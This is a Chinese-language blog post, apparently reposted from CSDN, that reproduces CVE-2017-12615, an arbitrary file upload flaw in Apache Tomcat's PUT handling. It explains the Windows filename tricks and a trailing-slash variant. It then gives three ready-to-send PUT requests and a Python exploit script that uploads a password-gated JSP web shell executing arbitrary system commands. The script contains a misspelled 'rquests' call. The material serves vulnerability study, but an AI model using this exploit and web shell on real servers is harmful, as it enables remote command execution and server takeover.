漏洞复现之CVE-2017-12615

CVE-2017-12615是Tomcat中间件的任意文件上传漏洞,此漏洞的利用环境是Windows+Tomcat 7.0.x+配置文件readonly=false(默认为true)。但是实际中Tomcat 5-9均存在类似的利用方式,但这不归属于CVE-2017-12615漏洞。

漏洞简介

首先声明的是CVE-2017-12615漏洞的利用条件是Windows+Tomcat 7.0.x+配置文件readonly=false,配置文件内容如:

<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

Tomcat将readonly设置为false的同时也开启了对PUT请求方式的支持。这时候意味着我们可以上传文件,那么是可以上传任意文件吗?并不是,我们首先要了解下Tomcat的下面两员大将:

  • org.apache.jasper.servlet.JspServlet:默认处理jsp,jspx文件请求,不存在PUT上传逻辑,无法处理PUT请求
  • org.apache.catalina.servlets.DefaultServlet:默认处理静态文件(除jsp,jspx之外的文件),存在PUT上传处理逻辑,可以处理PUT请求。

所以我们即使可以PUT一个文件到服务器但也无法直接PUT以jsp,jspx结尾文件,因为这些这些后缀的文件都是交由JspServlet处理的,它没法处理PUT请求。
但是当我们利用Windows特性以下面两种方式上传文件时,tomcat并不认为其是jsp文件从而交由DefaultServlet处理,从而成功创建jsp文件,这也就是所谓的CVE-2017-12615漏洞。

  • evil.jsp%20
  • evil.jsp::$DATA

上面这些属于CVE-2017-12615漏洞的内容,初次之外当我们上传evil.jsp/ 类型的文件时(即以反斜杠结尾)时同样会成功创建jsp文件,并且这种方式把PUT漏洞的利用扩展到了Linux平台及Tomcat的5.x-9.x的所有版本,不过这不属于CVE-2017-12615的内容。

利用方式

  1. 方式1
PUT /1.jsp%20 HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

这种方式适合之所以可以成功创建jsp文件是因为Windows下不允许文件名以空格结尾,但是尾部添加空格可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用与Windows系统+Tomcat 7.x。
2. 方式2

PUT /1.jsp::$DATA HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

这种方式之所以可行是因为利用了Windows环境下NTFS文件格式的特性,NTFS文件格式存在如下的性质,为此同样可以使tomcat认为其不是jsp文件从而交由DefaultServlet处理。这种利用方式适用与Windows系统+Tomcat 7.x。

MSDN
All files on an NTFS volume consist of at least one stream - the main stream – this is the normal, viewable file in which data is stored. The full name of a stream is of the form below.
<filename>:<stream name>:<stream type>
The default data stream has no name. That is, the fully qualified name for the default stream for a file called “sample.txt” is “sample.txt::$DATA” since “sample.txt” is the name of the file and “$DATA” is the stream type.

  1. 方式3
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 532

******************shell*************************

注意这种利用方式已经不属于CVE-2017-12615的范畴,这种利用方式适合与Windows系统及Linux系统,覆盖了Tomcat 5.x-9.x。

利用脚本

#! -*- coding:utf-8 -*- 
import requests
import sys
body = '''
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {
	StringBuilder line = new StringBuilder();
	try {
	Process pro = Runtime.getRuntime().exec(c);
	BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
	String temp = null;
	while ((temp = buf.readLine()) != null) {
	line.append(temp+"\\n");}
	buf.close();
	} 
	catch (Exception e) {
	line.append(e.getMessage());}
	return line.toString();}
	%>
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
	out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}
	else{out.println(":-)");}
	%>'''
requests.put(sys.argv[1]+'evil.jsp/',data=body)
rq = rquests.get(sys.argv[1]+'evil.jsp')
if rq.status_code == 200:
	print "[+] You GOt it!"
else:
	print "[-] It seems no vuln!"

执行结果:
执行结果
效果展示:
效果
具体代码分析过程见seebug

猜你喜欢

转载自blog.csdn.net/Blood_Pupil/article/details/88602720